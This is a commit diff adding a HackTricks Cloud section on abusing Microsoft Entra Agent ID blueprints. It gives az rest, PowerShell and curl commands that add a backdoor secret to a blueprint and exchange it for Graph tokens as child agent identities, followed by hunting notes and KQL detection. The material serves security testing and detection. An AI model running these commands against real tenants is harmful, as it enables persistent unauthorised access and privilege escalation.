mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 11:01:38 -07:00
Add content from: Investigating Suspicious AI Workflows in Microsoft Entra Age...
This commit is contained in:
+93
@@ -273,6 +273,92 @@ If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","messa
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
|
||||
|
||||
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
|
||||
|
||||
**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities.
|
||||
|
||||
This turns a bad Entra Agent ID role assignment into both:
|
||||
|
||||
- **Persistence**: the new `passwordCredential` remains on the blueprint until removed
|
||||
- **Privilege escalation**: a low-trust/dev agent can cross into a different high-trust blueprint and then act as its child agents
|
||||
|
||||
Typical dangerous paths are:
|
||||
|
||||
- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
|
||||
- A compromised owner/sponsor/admin able to manage the blueprint
|
||||
- Theft of an existing blueprint secret/certificate
|
||||
|
||||
Add a new secret to the target blueprint:
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
|
||||
```
|
||||
|
||||
Or with Microsoft Graph PowerShell:
|
||||
|
||||
```powershell
|
||||
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
|
||||
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
|
||||
```
|
||||
|
||||
If the new credential is accepted, authenticate as the **blueprint principal** and abuse the Agent ID token exchange. The first request uses the blueprint credential and sets **`fmi_path`** to the target agent identity. The returned token is then reused as a **JWT bearer `client_assertion`** to obtain a Microsoft Graph token for that agent identity.
|
||||
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
--data-urlencode 'client_id=<blueprint-principal-app-id>' \
|
||||
--data-urlencode 'client_secret=<new-blueprint-secret>' \
|
||||
--data-urlencode 'fmi_path=<target-agent-identity-app-id>' \
|
||||
--data-urlencode 'grant_type=client_credentials' \
|
||||
--data-urlencode 'scope=api://AzureADTokenExchange/.default'
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
--data-urlencode 'client_id=<target-agent-identity-app-id>' \
|
||||
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
|
||||
--data-urlencode 'client_assertion=<token-from-previous-step>' \
|
||||
--data-urlencode 'grant_type=client_credentials' \
|
||||
--data-urlencode 'scope=https://graph.microsoft.com/.default'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> If a **dev** blueprint or its child agent can add credentials to a **prod** blueprint, the attacker crosses the expected blueprint/agent trust boundary and gains durable access to the target agent infrastructure.
|
||||
|
||||
Quick validation / scoping:
|
||||
|
||||
```powershell
|
||||
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
|
||||
$sp.AdditionalProperties['@odata.type']
|
||||
$sp.AdditionalProperties['agentIdentityBlueprintId']
|
||||
|
||||
$app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
|
||||
$app.AdditionalProperties['@odata.type']
|
||||
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
|
||||
```
|
||||
|
||||
Hunting notes:
|
||||
|
||||
- Look for **`Update application – Certificates and secrets management`** in [Az - Monitoring](../../az-services/az-monitoring.md)
|
||||
- Correlate **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, and **`AADServicePrincipalSignInLogs`** using time, service principal ID, user-agent, IP, and `SignInActivityId` / `UniqueTokenIdentifier`
|
||||
- In `MicrosoftGraphActivityLogs`, check `RequestUri` ending in **`/applications/<id>/microsoft.graph.addPassword`** and whether `Roles` contains **`AgentIdentityBlueprint.AddRemoveCreds.All`**
|
||||
- In `AADServicePrincipalSignInLogs`, review `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, and whether the new key was later used
|
||||
|
||||
Minimal KQL to see whether the newly added secret authenticated:
|
||||
|
||||
```kusto
|
||||
AADServicePrincipalSignInLogs
|
||||
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
|
||||
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
|
||||
```
|
||||
|
||||
This is related to generic [application credential abuse](../../az-services/az-azuread.md#applications) and [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), but Entra Agent ID adds a second stage where the blueprint credential can be exchanged into a **different agent identity token**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
@@ -523,4 +609,11 @@ az rest --method GET \
|
||||
- `microsoft.directory/applications/appRoles/update`
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
## References
|
||||
|
||||
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
|
||||
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
|
||||
- [Microsoft Learn - Authenticate and acquire tokens for autonomous agents](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user